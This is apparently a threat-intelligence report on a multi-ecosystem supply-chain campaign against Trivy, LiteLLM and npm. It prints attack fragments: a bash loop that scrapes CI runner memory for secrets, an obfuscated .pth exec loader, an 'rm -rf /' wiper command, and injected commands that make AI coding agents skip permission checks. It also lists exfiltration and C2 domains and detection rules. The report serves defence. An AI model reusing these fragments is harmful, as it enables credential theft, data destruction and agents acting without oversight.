TL-2026-0280 CRITICAL 2026-03-25 Campaign Report

Anatomy of a Supply Chain Siege — How TeamPCP Compromised Trivy, LiteLLM, and 66 npm Packages in 5 Days

Threadlinqs Intel Team 18 min
teampcptrivysupply-chaincve-2026-33634canisterwormlitellmicp-blockchainkubernetes-wiperci-cd-compromisecredential-theftgithub-actionsaqua-securitynpm-compromisedocker-hubpypi

Threat ID: TL-2026-0280 | CVE: CVE-2026-33634 | CVSS: 9.4 | Severity: CRITICAL | Status: ACTIVE

Actor: TeamPCP (aliases: DeadCatx3, PCPcat, ShellForce, CanisterWorm) | Motivation: DESTRUCTION

MITRE Techniques: 29 | Detections: 81+ across 8 threat reports | Ecosystems Compromised: 5 (GitHub Actions, npm, PyPI, Docker Hub, OpenVSX)


Between March 19 and March 24, 2026, a threat actor collective operating under the name TeamPCP executed the most consequential supply chain campaign of the year. Five software ecosystems were breached. Aqua Security's Trivy vulnerability scanner -- used across thousands of CI/CD pipelines worldwide -- was the entry point. From there, the campaign expanded to LiteLLM on PyPI, 66 npm packages via a self-propagating worm, Kubernetes clusters via destructive DaemonSets, and Checkmarx KICS GitHub Actions. The attack chain introduced a novel command-and-control mechanism built on the Internet Computer Protocol blockchain, a technique with no prior documented precedent.

This report consolidates intelligence from TL-2026-0280, TL-2026-0279, TL-2026-0270, TL-2026-0263, TL-2026-0256, and TL-2026-0165 into a single deep technical analysis of the full campaign lifecycle.

Executive Summary

The Genesis -- From hackerbot-claw to TeamPCP

The campaign did not begin on March 19. It began on February 28, when an automated bot named hackerbot-claw (TL-2026-0165) exploited a misconfigured pull_request_target workflow in the Trivy GitHub repository. The workflow granted fork pull requests access to repository secrets -- a well-documented anti-pattern that hackerbot-claw systematically scanned for across thousands of repositories. The bot extracted a privileged Personal Access Token (PAT) belonging to the Argon-DevOps-Mgt service account (GitHub ID 139343333), an automation credential that bridged two Aqua Security GitHub organizations.

Aqua Security's response to the initial compromise included publishing malicious VS Code extension versions 1.8.12 and 1.8.13 to the OpenVSX registry, which contained injected commands targeting AI coding assistants -- claude -p --dangerously-skip-permissions, codex exec --ask-for-approval never -- and exfiltrating tokens to recv.hackmoltrepeat.com. A former Aqua employee revoked the publishing token and removed affected versions by 22:46 UTC on February 28. Aqua then began credential rotation.

The rotation was incomplete. The Argon-DevOps-Mgt PAT was rotated, but the rotation was non-atomic -- during the multi-day rotation window, TeamPCP was able to exfiltrate the newly rotated credentials before the process completed. This is the operational security failure that enabled everything that followed. Nineteen days of residual access, undetected. The new credentials were valid. The old ones were revoked. But TeamPCP already had the new ones.

Day-by-Day Campaign Timeline

Day 0 -- Feb 25-28: The Precursor
hackerbot-claw begins systematic scanning of GitHub repositories for exploitable pull_request_target workflows. Between Feb 25-28, it targets DataDog, Microsoft, and Aqua Security repositories. The Trivy VS Code extension is compromised on OpenVSX. Aqua Security begins credential rotation that will prove fatally incomplete. PAT for Argon-DevOps-Mgt service account is extracted.
Day 1 -- March 19: Tag Poisoning at Scale
At 17:43:37 UTC, TeamPCP uses the compromised Argon-DevOps-Mgt token to force-push malicious commits to 75 of 76 version tags in aquasecurity/trivy-action and all 7 tags in aquasecurity/setup-trivy. Only trivy-action v0.35.0 survives due to GitHub's immutable releases protection. Simultaneously, Trivy v0.69.4 is published with embedded credential-stealing binaries across all platform targets (Linux, Windows, macOS, FreeBSD, ARM). The malicious commit injects --skip=validate into the goreleaser configuration to bypass binary validation. By 18:30 UTC, a malicious helm chart bump PR #10416 is opened against the Trivy repository. Socket.dev detects 182 malicious threat feed entries at approximately 19:15 UTC. Aqua maintainers begin cleanup: setup-trivy v0.2.5 deleted at 21:07 UTC, malicious v0.69.4 tag deleted at 23:13 UTC.
Day 2 -- March 20: Expansion and Obfuscation
CrowdStrike, Wiz, SecurityWeek, and The Hacker News publish initial analyses. At 00:01 UTC, 17 spam bot accounts flood GitHub discussion #10420 with generic praise messages in a single second, attempting to suppress disclosure. CanisterWorm begins npm propagation using credentials stolen from CI/CD environments, initially compromising packages across @EmilGroup and @teale.io scopes. The worm publishes malicious versions containing Python implants with systemd persistence mechanisms.
Day 3 -- March 22: Docker Hub and GitHub Defacement
Malicious Docker Hub images aquasec/trivy:0.69.5 and aquasec/trivy:0.69.6 published at 16:00 UTC -- versions with no corresponding GitHub releases. CanisterWorm expands to 47+ packages across @opengov, @airtm, and @pypestream scopes. At 20:31 UTC, all 44 repositories in the aquasec-com GitHub organization are defaced in an automated 2-minute blitz (20:31:07-20:32:26 UTC), renamed with tpcp-docs- prefix. The ICP canister tdtqy-oyaaa-aaaae-af2dq-cai is marked "Unavailable Due to Policy Violation" at 21:31 UTC.
Day 4 -- March 23: Kubernetes Wipers and KICS Hijack
CVE-2026-33634 assigned with CVSS 9.4. Kubernetes wiper payloads discovered targeting Iranian systems with destructive DaemonSets -- host-provisioner-iran executes rm -rf / --no-preserve-root inside privileged containers. Checkmarx KICS GitHub Action (kics-github-action v1.1, ast-github-action v2.3.28) compromised via tag hijacking. Campaign expands to OpenVSX extensions.
Day 5 -- March 24: LiteLLM and Full Disclosure
LiteLLM versions 1.82.7 and 1.82.8 published to PyPI at approximately 08:30 UTC with credential-stealing payloads. v1.82.7 uses double base64-encoded Python; v1.82.8 introduces .pth file persistence. PyPI quarantines both versions at 11:25 UTC -- approximately 3 hours of exposure. New exfiltration endpoint models.litellm.cloud identified. Full campaign scope assessed: 5 ecosystems, 141+ malicious npm artifacts, 66+ compromised packages. Datadog Security Labs, Wiz, Snyk, and Microsoft publish detailed analyses.

Technical Deep Dive -- The Malicious entrypoint.sh

The core of the Trivy compromise was a replacement entrypoint.sh injected into trivy-action. The legitimate file was 2,855 bytes. The malicious replacement was 17,592 bytes -- 204 lines of credential-harvesting code disguised within cosmetic changes (quote standardization, whitespace normalization) to the original script.

SHA-256 hashes for forensic comparison:

FileSHA-256Size
Legitimate entrypoint.sh07500e81693c06ef7ac6bf210cff9c882bcc11db5f16b5bded161218353ba4da2,855 bytes
Malicious entrypoint.sh18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a17,592 bytes

Stage 1 -- Runner Memory Scanning

On GitHub-hosted runners, the malware exploits Linux's /proc filesystem to scan process memory of the Runner.Worker process. This process holds all workflow secrets in memory -- including those marked with isSecret:true in the GitHub Actions runner. The technique:

BASH# Enumerate GitHub Actions runner processes
for pid in /proc/[0-9]*; do
    cmdline=$(cat "$pid/cmdline" 2>/dev/null | tr '\0' ' ')
    if echo "$cmdline" | grep -q "Runner.Worker"; then
        # Read process memory regions from /proc/$pid/mem
        # Parse for isSecret:true flagged values
        cat "$pid/mem" 2>/dev/null | strings | grep -E "(GITHUB_TOKEN|AWS_|AZURE_|GCP_)"
    fi
done

This is not theoretical. The Runner.Worker process stores all injected secrets in a flat memory structure that can be read by any process running as the same user -- which includes every step in a GitHub Actions workflow. The isSecret:true flag is a UI-level masking mechanism, not a security boundary.

Stage 2 -- Credential File Enumeration

The malware enumerates 50+ credential file paths across the filesystem, targeting every major cloud provider and development tool:

Stage 3 -- Encryption and Exfiltration

Harvested credentials are bundled into a tpcp.tar.gz archive, encrypted with AES-256-CBC, and the AES key itself is encrypted with RSA-4096 -- a hybrid encryption scheme that ensures only TeamPCP can decrypt the exfiltrated data, even if the archive is intercepted in transit. The encrypted bundle is exfiltrated via HTTPS POST to scan.aquasecurtiy.org (note the deliberate typosquat of "security") with a custom X-Filename: tpcp.tar.gz header. If the primary C2 is unreachable, the malware falls back to creating a public GitHub repository named tpcp-docs on the victim's account and uploading the archive as a release asset.

Novel C2 -- ICP Blockchain Dead Drops

TeamPCP's campaign introduced the first documented abuse of Internet Computer Protocol (ICP) canisters as a command-and-control dead drop resolver. This represents a significant evolution in C2 architecture -- one that existing network security tooling is not equipped to detect.

ICP is a blockchain-based computing platform where "canisters" (smart contracts) can host arbitrary data and logic on a decentralized network. TeamPCP deployed canister tdtqy-oyaaa-aaaae-af2dq-cai on the IC mainnet, accessible via tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io. The canister exposes two methods:

The infected payload polls the canister every 50 minutes, retrieving the latest C2 URL. This architecture provides several advantages to the attacker:

When the ICP canister was marked "Unavailable Due to Policy Violation" at 21:31 UTC on March 22, the malware fell back to Cloudflare tunnel endpoints -- four distinct tunnels were identified:

Cloudflare Tunnel DomainPurpose
plug-tab-protective-relay.trycloudflare.comPrimary C2 fallback
championships-peoples-point-cassette.trycloudflare.comKubernetes wiper C2
investigation-launches-hearings-copying.trycloudflare.comKubernetes wiper C2
souls-entire-defined-routes.trycloudflare.comKubernetes wiper C2

The Self-Propagating npm Worm -- CanisterWorm

CanisterWorm is a self-propagating malware component that leverages stolen npm publisher tokens harvested from CI/CD environments to automatically publish malicious versions of legitimate packages. The name derives from its ICP canister-based C2 polling mechanism.

The worm's propagation model: when the Trivy credential stealer runs in a CI/CD pipeline that builds npm packages, it harvests the .npmrc authentication token. CanisterWorm then uses that token to publish a new patch version of every package the compromised publisher maintains. The malicious version contains a Python implant that:

  1. Drops ~/.config/sysmon/sysmon.py -- a persistence loader masquerading as a system monitoring tool
  2. Creates ~/.config/systemd/user/sysmon.service -- a systemd user service that runs the loader on boot
  3. Runs systemctl --user enable sysmon.service for persistence
  4. Downloads the follow-on payload from checkmarx.zone to /tmp/pglog, named to appear as a PostgreSQL log file
  5. Maintains state tracking via /tmp/.pg_state

The campaign ultimately compromised 66+ packages across five npm scopes: @EmilGroup, @teale.io, @opengov, @airtm, and @pypestream. Socket.dev classified 141+ malicious artifacts total. The worm represents a force multiplier -- each compromised CI/CD pipeline becomes a propagation vector for additional package compromises.

LiteLLM .pth Persistence

The LiteLLM compromise on PyPI (v1.82.7 and v1.82.8) introduced a persistence technique specific to the Python ecosystem: .pth file injection.

Python's .pth files in site-packages directories are processed at interpreter startup. Any line beginning with import is executed as Python code. Version 1.82.8 dropped a file named litellm_init.pth into the site-packages directory containing:

PYTHONimport os; exec(os.popen('python3 -c "exec(__import__(\'base64\').b64decode(__import__(\'base64\').b64decode(b\'...payload...\')))"').read())

The payload is double base64-encoded -- decoding the outer layer reveals another base64 blob, which when decoded produces the credential harvester. This means the malicious code executes every time Python starts on a system where the compromised LiteLLM is installed -- not just when LiteLLM is explicitly imported. The v1.82.7 variant used a simpler approach: injecting a decoded p.py dropper directly into LiteLLM's package initialization.

Exfiltration used the same AES-256-CBC/RSA-4096 hybrid encryption scheme, with a new endpoint at models.litellm.cloud replacing the typosquatted Aqua Security domain. PyPI quarantined both versions approximately 3 hours after publication -- a window sufficient for automated pip installations in CI/CD to pull the poisoned packages.

Kubernetes Wipers

The most destructive phase of the campaign targeted Kubernetes clusters. Two distinct DaemonSet payloads were identified:

host-provisioner-iran -- Targeted Destruction

This DaemonSet was configured with geographic targeting. When deployed to clusters with Iranian locale indicators, the privileged container executes:

BASHrm -rf / --no-preserve-root

The DaemonSet specification requests privileged: true, hostPID: true, and hostNetwork: true -- granting full access to the underlying host filesystem, process namespace, and network stack. The "kamikaze" container destroys itself along with the host. Nation-state targeting in a supply chain worm is unusual and raises questions about TeamPCP's motivations beyond simple destruction.

host-provisioner-std -- Persistent Backdoor

The standard variant deploys across all clusters without geographic filtering. Rather than destruction, it establishes persistent access by:

Both DaemonSets exploit the same privilege escalation path: Kubernetes clusters that allow privileged pod deployment without admission controller enforcement. A Pod Security Standard of "restricted" or a properly configured OPA Gatekeeper policy would have blocked both payloads.

Indicators of Compromise

Network Indicators

TypeIndicatorContext
Domainscan.aquasecurtiy.orgPrimary exfiltration -- typosquat of Aqua Security
Domainaquasecurtiy.orgTyposquatted parent domain
Domaintdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.ioICP blockchain C2 dead drop resolver
Domainplug-tab-protective-relay.trycloudflare.comCloudflare tunnel C2 fallback
Domainchampionships-peoples-point-cassette.trycloudflare.comKubernetes wiper C2 tunnel
Domaininvestigation-launches-hearings-copying.trycloudflare.comKubernetes wiper C2 tunnel
Domainsouls-entire-defined-routes.trycloudflare.comKubernetes wiper C2 tunnel
Domainmodels.litellm.cloudLiteLLM exfiltration endpoint (added March 24)
Domaincheckmarx.zoneFollow-on payload delivery for CanisterWorm
Domainhackmoltrepeat.comhackerbot-claw payload delivery (precursor)
Domainrecv.hackmoltrepeat.comToken exfiltration receiver (precursor)
Domainget.trivy.devOfficial Trivy distribution -- served malicious v0.69.4
IP45.148.10.212C2 server -- TECHOFF SRV LIMITED, Amsterdam, NL

File Indicators

TypeSHA-256Description
entrypoint.sh18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671aMalicious trivy-action entrypoint (17,592 bytes)
entrypoint.sh07500e81693c06ef7ac6bf210cff9c882bcc11db5f16b5bded161218353ba4daLegitimate entrypoint (2,855 bytes) -- for diff comparison
Trivy Linux-64822dd269ec10459572dfaaefe163dae693c344249a0161953f0d5cdd110bd2a0Malicious v0.69.4 binary -- Linux 64-bit
Trivy Linux-ARM64e64e152afe2c722d750f10259626f357cdea40420c5eedab37969fbf13abbecfMalicious v0.69.4 binary -- Linux ARM64
Trivy Linux-ARMbef7e2c5a92c4fa4af17791efc1e46311c0f304796f1172fce192f5efc40f5d7Malicious v0.69.4 binary -- Linux ARM
Trivy Linux-32f7084b0229dce605ccc5506b14acd4d954a496da4b6134a294844ca8d601970dMalicious v0.69.4 binary -- Linux 32-bit
Trivy macOS-64e6310d8a003d7ac101a6b1cd39ff6c6a88ee454b767c1bdce143e04bc1113243Malicious v0.69.4 binary -- macOS 64-bit
Trivy macOS-ARM6328a34b26a63423b555a61f89a6a0525a534e9c88584c815d937910f1ddd538Malicious v0.69.4 binary -- macOS ARM64
Trivy FreeBSD887e1f5b5b50162a60bd03b66269e0ae545d0aef0583c1c5b00972152ad7e073Malicious v0.69.4 binary -- FreeBSD 64-bit
Trivy Windows0880819ef821cff918960a39c1c1aada55a5593c61c608ea9215da858a86e349Malicious v0.69.4 binary -- Windows 64-bit

Affected Packages and Images

EcosystemPackage/ImageVersions
GitHub Actionsaquasecurity/trivy-action75 of 76 tags (all except v0.35.0)
GitHub Actionsaquasecurity/setup-trivyAll 7 tags
GitHub Actionscheckmarx/kics-github-actionv1.1
GitHub Actionscheckmarx/ast-github-actionv2.3.28
Docker Hubaquasec/trivy0.69.4, 0.69.5, 0.69.6
GHCRghcr.io/aquasecurity/trivy0.69.4
AWS ECRpublic.ecr.aws/aquasecurity/trivy0.69.4
PyPIlitellm1.82.7, 1.82.8
npm66+ packages across 5 scopesVarious patch versions
OpenVSXaquasecurityofficial.trivy-vulnerability-scanner1.8.12, 1.8.13

Behavioral Indicators

Detection Rules

Threadlinqs Intelligence provides 81+ production-ready detection rules across 8 threat reports tracking this campaign. Below are three representative rules targeting the most distinctive tradecraft elements.

Splunk SPL -- GitHub Actions Runner Memory Scanning

This rule detects the core credential harvesting technique: processes reading /proc/<pid>/mem of GitHub Actions Runner.Worker processes. This is the highest-signal indicator of the Trivy compromise -- legitimate processes do not read runner memory.

SPLindex=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
    (EventCode=1 OR EventCode=10)
| search (CommandLine="*cat /proc/*/environ*"
    OR CommandLine="*/proc/*/mem*"
    OR CommandLine="*Runner.Worker*"
    OR CommandLine="*Runner.Listener*"
    OR CommandLine="*runsvc*")
| where match(CommandLine,
    "(?i)(proc/.*/environ|proc/.*/mem|Runner\.Worker|Runner\.Listener|runsvc)")
| eval risk_score=case(
    match(CommandLine, "proc/.*/mem"), 95,
    match(CommandLine, "proc/.*/environ"), 90,
    1=1, 80
)
| stats count min(_time) as first_seen max(_time) as last_seen
    values(CommandLine) as commands dc(ComputerName) as host_count
    by User, ParentImage
| where risk_score > 80
| sort -risk_score

KQL -- Python .pth File Injection Detection

Detects the LiteLLM persistence mechanism where a malicious .pth file is written to Python's site-packages directory. Legitimate .pth files are created during package installation, not dynamically at runtime. The presence of exec( or os.popen in a .pth file is definitively malicious.

KQLDeviceFileEvents
| where Timestamp > ago(30d)
| where FileName endswith ".pth"
| where FolderPath has "site-packages"
| where ActionType in ("FileCreated", "FileModified")
| where InitiatingProcessFileName !in ("pip", "pip3", "python", "python3",
    "conda", "poetry", "pipx", "setup.py")
| join kind=leftouter (
    DeviceFileEvents
    | where FileName endswith ".pth"
    | where FolderPath has "site-packages"
    | extend FileContentSample = tostring(parse_json(AdditionalFields).FileContent)
    | where FileContentSample has_any ("exec(", "os.popen", "subprocess",
        "base64.b64decode", "__import__")
) on DeviceId, FileName
| project Timestamp, DeviceName, FileName, FolderPath,
    InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc

Sigma -- ICP Canister C2 Communication

Detects outbound connections to ICP blockchain infrastructure used as C2 dead drop resolvers. While ICP traffic may have legitimate uses, connections to icp0.io or ic0.app from CI/CD runners or server infrastructure should be treated as anomalous.

SIGMAtitle: ICP Blockchain Canister C2 Communication — TeamPCP Campaign
id: f8c2a1b7-3d9e-4f5a-b6c8-7e2d1a9f3c45
status: experimental
description: |
    Detects outbound connections to Internet Computer Protocol (ICP)
    blockchain infrastructure. TeamPCP campaign used canister
    tdtqy-oyaaa-aaaae-af2dq-cai as a dead drop C2 resolver.
    First documented abuse of ICP for command-and-control.
references:
    - https://intel.threadlinqs.com/#TL-2026-0280
    - https://intel.threadlinqs.com/#TL-2026-0279
author: Threadlinqs Intel Team
date: 2026/03/25
tags:
    - attack.command_and_control
    - attack.t1102
    - attack.t1071.001
    - attack.t1573
logsource:
    category: proxy_access
    product: any
detection:
    selection_icp_domains:
        c-uri|contains:
            - 'icp0.io'
            - 'ic0.app'
            - 'raw.icp0.io'
    selection_known_canister:
        c-uri|contains:
            - 'tdtqy-oyaaa-aaaae-af2dq-cai'
    selection_canister_methods:
        c-uri|contains:
            - 'get_latest_link'
            - 'update_link'
    condition: selection_known_canister or selection_canister_methods
        or (selection_icp_domains and not filter)
    filter:
        c-useragent|contains:
            - 'dfx'
            - 'ic-agent'
falsepositives:
    - Developers working with ICP/DFINITY ecosystem
    - Web3 applications with legitimate ICP integration
level: high
Browse all 81+ detection rules across 8 related threat reports: View on Threadlinqs Intelligence

MITRE ATT&CK Mapping

TacticTechniqueIDCampaign Usage
Initial AccessSupply Chain Compromise: Compromise Software DependenciesT1195.001Trivy, LiteLLM, npm packages, KICS Actions poisoned at source
Initial AccessSupply Chain Compromise: Compromise Software Supply ChainT1195.002Docker Hub images, binary releases, GitHub Actions tags
Initial AccessTrusted RelationshipT1199Argon-DevOps-Mgt service account bridging two Aqua orgs
ExecutionCommand and Scripting Interpreter: Unix ShellT1059.004Malicious entrypoint.sh executed by GitHub Actions runners
ExecutionCommand and Scripting Interpreter: PythonT1059.006Python .pth persistence, sysmon.py loader, base64 payloads
ExecutionServerless ExecutionT1648ICP canister code execution for C2 dead drop
PersistenceCreate or Modify System Process: Systemd ServiceT1543.002sysmon.service and pgmon systemd persistence
PersistenceBoot or Logon Autostart ExecutionT1547Python .pth file executed on every interpreter startup
PersistenceEvent Triggered Execution: .pth FileT1546litellm_init.pth in site-packages
Privilege EscalationEscape to HostT1611Privileged Kubernetes pods with hostPID/hostNetwork
Privilege EscalationValid Accounts: Cloud AccountsT1078.004Stolen PAT, npm tokens, PyPI tokens, Docker registry auth
Defense EvasionObfuscated Files or InformationT1027Double base64 encoding, AES-256-CBC encryption of payloads
Defense EvasionMasquerading: Match Legitimate NameT1036.005pgmon (PostgreSQL), sysmon.py (Sysmon), node-setup-* pods
Defense EvasionIndicator RemovalT1070Force-pushed tags with spoofed commit metadata
Defense EvasionSubvert Trust ControlsT1553--skip=validate bypassing goreleaser binary validation
Credential AccessUnsecured Credentials: Credentials in FilesT1552.00150+ credential file paths enumerated
Credential AccessSteal Application Access TokenT1528GitHub PATs, npm publish tokens, PyPI tokens
Credential AccessCredentials from Password StoresT1555Browser credential stores, Docker config.json auth
Credential AccessInput CaptureT1056/proc/pid/mem scanning for runtime secrets
DiscoverySystem Information DiscoveryT1082Hostname, username, IP, environment variable harvesting
DiscoveryProcess DiscoveryT1057Enumeration of Runner.Worker PID for memory access
CollectionData from Local SystemT1005Credential files, SSH keys, cloud configs, Terraform state
CollectionAutomated CollectionT1119Scripted enumeration of 50+ file paths per host
CollectionArchive Collected DataT1560tpcp.tar.gz bundle creation
Lateral MovementRemote ServicesT1021SSH with stolen keys, Docker API exploitation (port 2375)
Lateral MovementDeploy ContainerT1610Privileged DaemonSet deployment across Kubernetes nodes
Command and ControlWeb Service: Dead Drop ResolverT1102.001ICP canister as C2 URL resolver
Command and ControlEncrypted ChannelT1573AES-256-CBC + RSA-4096 hybrid encryption
ExfiltrationExfiltration Over C2 ChannelT1041tpcp.tar.gz to scan.aquasecurtiy.org
ExfiltrationExfiltration Over Web ServiceT1567GitHub release assets as fallback dead drop
ImpactData DestructionT1485rm -rf / in host-provisioner-iran DaemonSet
ImpactDefacement: External DefacementT1491.00244 aquasec-com repositories renamed with tpcp-docs- prefix
Resource DevelopmentAcquire InfrastructureT1583ICP canister, Cloudflare tunnels, typosquatted domains
Resource DevelopmentCompromise InfrastructureT1584Compromised npm publisher accounts for worm propagation
Full MITRE ATT&CK mapping with technique-level detail: View coverage on Threadlinqs

Recommendations

  1. Pin GitHub Actions to immutable commit SHAs. The entire Trivy tag-poisoning attack is defeated by a single practice: referencing Actions by full commit SHA (uses: aquasecurity/trivy-action@abc123def) rather than mutable version tags (uses: aquasecurity/trivy-action@v1). Mutable tags are pointers that can be force-pushed to arbitrary commits. Commit SHAs cannot. This is the highest-impact remediation for any organization running CI/CD on GitHub.
  2. Audit all CI/CD pipelines for Trivy, LiteLLM, KICS, and affected npm packages. Check GitHub Actions workflow files for any reference to trivy-action, setup-trivy, kics-github-action, or ast-github-action. Verify Docker images are not pinned to 0.69.4, 0.69.5, or 0.69.6. Confirm LiteLLM is not installed at versions 1.82.7 or 1.82.8. Scan node_modules for packages from @EmilGroup, @teale.io, @opengov, @airtm, and @pypestream scopes.
  3. Rotate all credentials that were accessible to compromised pipelines. Any secret that was available to a GitHub Actions workflow using trivy-action or setup-trivy between March 19-20 should be considered compromised. This includes cloud provider credentials, SSH keys, Docker registry tokens, npm publish tokens, Terraform state secrets, and Kubernetes cluster credentials. Rotation must be atomic -- complete all rotations before revoking old credentials.
  4. Block ICP blockchain domains at the network perimeter. Add icp0.io, ic0.app, and raw.icp0.io to proxy deny lists for CI/CD runner networks and server infrastructure. Legitimate ICP development should be explicitly allowlisted by team and project. Monitor for connections to any trycloudflare.com subdomain from non-interactive systems.
  5. Implement Kubernetes admission controllers. Deploy Pod Security Standards at the "restricted" level or OPA Gatekeeper policies that deny privileged: true, hostPID: true, and hostNetwork: true containers. Both TeamPCP wiper variants require all three privileges to execute their payloads. Audit existing DaemonSets for unexpected privileged containers.
  6. Scan Python environments for .pth file injection. Enumerate all .pth files in site-packages directories across development machines, CI/CD runners, and production servers. Any .pth file containing exec(, os.popen, subprocess, or base64.b64decode is definitively malicious. Legitimate .pth files contain only directory paths or import statements for standard packages.
  7. Deploy supply chain security tooling with real-time alerting. Tools like Socket.dev, Snyk, StepSecurity Harden-Runner, and Datadog Software Composition Analysis detected aspects of this campaign within hours. Integrate at least one supply chain monitoring solution into CI/CD pipelines with blocking enabled for known-malicious packages. Configure alerts for unexpected version publications of internal packages.

Related Threat Reports

IDTitleDate
TL-2026-0165Aqua Trivy VS Code Extension Supply Chain Compromise -- hackerbot-claw AI Bot Campaign2026-03-02
TL-2026-0256Trivy Supply Chain Compromise by TeamPCP -- Credential-Stealing Malware in v0.69.42026-03-20
TL-2026-0259CanisterWorm npm Supply Chain Compromise -- Worm-Enabled Backdoor Across 29+ Packages2026-03-20
TL-2026-0263Trivy Ecosystem Supply Chain Compromise -- Infostealer via Hijacked GitHub Actions2026-03-21
TL-2026-0270Trivy Supply Chain Attack -- Credential Theft via Malicious GitHub Actions Tags2026-03-22
TL-2026-0274Checkmarx KICS GitHub Action Supply Chain Compromise by TeamPCP2026-03-23
TL-2026-0279TeamPCP Supply Chain Campaign: LiteLLM, CanisterWorm, and Multi-Ecosystem Attack2026-03-24
TL-2026-0281TeamPCP Supply Chain Attack on LiteLLM -- Trojanized PyPI Packages with .pth Persistence2026-03-25

References


Full threat intelligence, detection rules, IOC feeds, and simulation playbooks are available on Threadlinqs Intelligence. Track this campaign across all 8 related threat reports: TL-2026-0280.